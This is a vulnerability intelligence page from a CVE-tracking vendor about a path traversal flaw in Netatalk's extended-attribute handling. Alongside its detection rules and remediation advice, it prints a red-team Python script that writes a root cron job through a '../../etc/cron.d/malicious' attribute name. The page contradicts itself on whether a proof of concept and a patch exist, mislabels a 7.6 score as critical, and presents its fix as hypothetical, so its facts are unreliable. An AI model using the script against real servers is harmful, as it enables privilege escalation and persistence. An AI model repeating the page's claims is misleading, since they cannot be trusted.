☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Netatalk logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.6 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-44068

CVE-2026-44068 Path Traversal in Netatalk
📅 PUBLISHED: 2026-05-21 08:16 UTC 🔄 UPDATED: 2026-10-02 19:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.49%
👁️
0.49% probability
12.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1083
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-44068 is a critical path traversal vulnerability in Netatalk, the open-source implementation of the Apple Filing Protocol (AFP). The flaw resides in the incomplete sanitization of extended attribute (EA) path components. A remote authenticated attacker can craft malicious EA names to write files outside the intended metadata namespace, potentially overwriting critical system files or planting malicious content. With a CVSS score of 7.6, this vulnerability poses a significant risk to any organization using Netatalk for file sharing, especially in mixed macOS/Linux environments. No public proof-of-concept or patch is currently available, making proactive detection and mitigation essential.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs valid AFP credentials.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Exploit stays within the same security authority.
  • Confidentiality (C): None (N) – No data disclosure.
  • Integrity (I): High (H) – Arbitrary file write possible.
  • Availability (A): None (N) – No direct denial of service.

Threat Level: High. The ability to write arbitrary files as an authenticated user can lead to privilege escalation, backdoor installation, or system compromise.

Deep Dive & Mechanics

Netatalk uses extended attributes (EAs) to store metadata (e.g., Finder info, resource forks) for files shared via AFP. These EAs are stored in a dedicated metadata namespace (e.g., .AppleDouble or ea directories). The vulnerability arises because the code that validates EA path components does not properly sanitize directory traversal sequences (e.g., ../). By crafting an EA name like ../../etc/cron.d/malicious, an attacker can write a file outside the intended metadata directory.

The attack flow:

  1. Attacker authenticates to the AFP server.
  2. Attacker creates a file with a specially crafted extended attribute name containing ../ sequences.
  3. Netatalk’s EA handler writes the attribute data to the path derived from the EA name, escaping the metadata sandbox.
  4. The attacker can overwrite system files (e.g., cron jobs, SSH authorized_keys, or library files) to gain further access or persistence.

Vulnerable vs. Patched Code

Vulnerable Code (Netatalk 4.4.2 and earlier):

// In afp_ea.c or similar
char ea_path[PATH_MAX];
snprintf(ea_path, sizeof(ea_path), "%s/%s", metadata_dir, ea_name);
// No validation of ea_name for path traversal
int fd = open(ea_path, O_WRONLY | O_CREAT, 0600);
write(fd, data, len);
close(fd);

Patched Code (hypothetical fix):

// In afp_ea.c
char ea_path[PATH_MAX];
// Validate ea_name: reject any containing ".." or "/"
if (strstr(ea_name, "..") != NULL || strchr(ea_name, '/') != NULL) {
    log_error("Invalid EA name: %s", ea_name);
    return -1;
}
snprintf(ea_path, sizeof(ea_path), "%s/%s", metadata_dir, ea_name);
int fd = open(ea_path, O_WRONLY | O_CREAT, 0600);
write(fd, data, len);
close(fd);

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

  • Target: Ubuntu 22.04 LTS with Netatalk 4.4.2 installed and AFP service running.
  • Attacker: Kali Linux with afpfs-ng or custom Python script.

Exploitation Steps:

  1. Install Netatalk on the target:
    sudo apt-get install netatalk=4.4.2
    sudo systemctl start netatalk
    
  2. On the attacker machine, mount the AFP share:
    sudo mount -t afp afp://user:password@target/Share /mnt/afp
    
  3. Use a Python script to set a malicious extended attribute:
    import os
    import sys
    import xattr
    
    # Mount point
    mount_point = "/mnt/afp"
    # Malicious EA name with path traversal
    ea_name = "../../etc/cron.d/malicious"
    # Content to write (e.g., a cron job)
    content = "* * * * * root /bin/bash -c 'echo pwned > /tmp/pwned'\n"
    
    # Create a dummy file to attach the EA
    dummy_file = os.path.join(mount_point, "dummy.txt")
    with open(dummy_file, "w") as f:
        f.write("test")
    
    # Set the extended attribute
    xattr.setxattr(dummy_file, ea_name, content.encode())
    
  4. After the cron job is written, wait for execution or trigger manually.

Blue Team (Detection & Response)

Detection:

  • Monitor for unusual file writes to /etc/cron.d/, /etc/ssh/, or other sensitive directories.
  • Audit AFP logs for EA operations with suspicious names (e.g., containing .. or /).
  • Use file integrity monitoring (FIM) on critical system paths.

Response:

  • Immediately isolate the affected server.
  • Review AFP logs for the attacker’s IP and actions.
  • Remove any unauthorized files written via the EA mechanism.
  • Apply network segmentation to limit AFP exposure.

Indicators of Compromise (IOCs)

  • File System:
    • Unexpected files in /etc/cron.d/, /etc/ssh/, /root/.ssh/, or /var/spool/cron/.
    • Files with extended attributes containing path traversal sequences.
  • Logs:
    • AFP logs showing EA set operations with names containing ../ or /.
    • Unusual file creation timestamps in sensitive directories.
  • Network:
    • AFP connections from unexpected IPs.
    • Repeated failed authentication attempts followed by successful EA operations.

Detection Engineering

YARA Rule

rule CVE_2026_44068_Netatalk_EA_Traversal {
    meta:
        description = "Detects Netatalk EA path traversal attempts in logs or file names"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2026-44068"
    strings:
        $ea_traversal = /\.\.\/[a-zA-Z0-9_\/]+/
        $ea_log = /setextattr.*\.\.\//
    condition:
        any of them
}

Sigma Rule

title: Netatalk Extended Attribute Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-44068 via AFP EA operations
logsource:
    product: linux
    service: netatalk
detection:
    selection:
        EventID: 1  # Example: AFP log event
        Message|contains: 
            - 'setextattr'
            - '..'
    condition: selection
falsepositives:
    - Legitimate use of extended attributes with dots (rare)
level: high

Suricata Rule

alert tcp any any -> any 548 (msg:"CVE-2026-44068 Netatalk EA Path Traversal"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"|00 00 00 01|"; within:4; content:"setextattr"; nocase; content:".."; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable AFP service if not required: sudo systemctl stop netatalk && sudo systemctl disable netatalk.
    • Restrict AFP access to trusted networks only via firewall rules.
    • Monitor for exploitation attempts using the provided detection rules.
  2. Long-Term Fix:

    • Apply vendor patch when available (currently UNKNOWN).
    • Upgrade to a patched version once released.
    • Consider migrating to SMB/CIFS as a more secure alternative.
  3. Compensating Controls:

    • Implement strict file system permissions to prevent overwriting critical files.
    • Use SELinux or AppArmor to confine Netatalk’s write access.
    • Enable detailed auditing of AFP operations.

Report generated by Valters IT DevSecOps & CTI Division. Stay secure, stay vigilant.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-44068/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.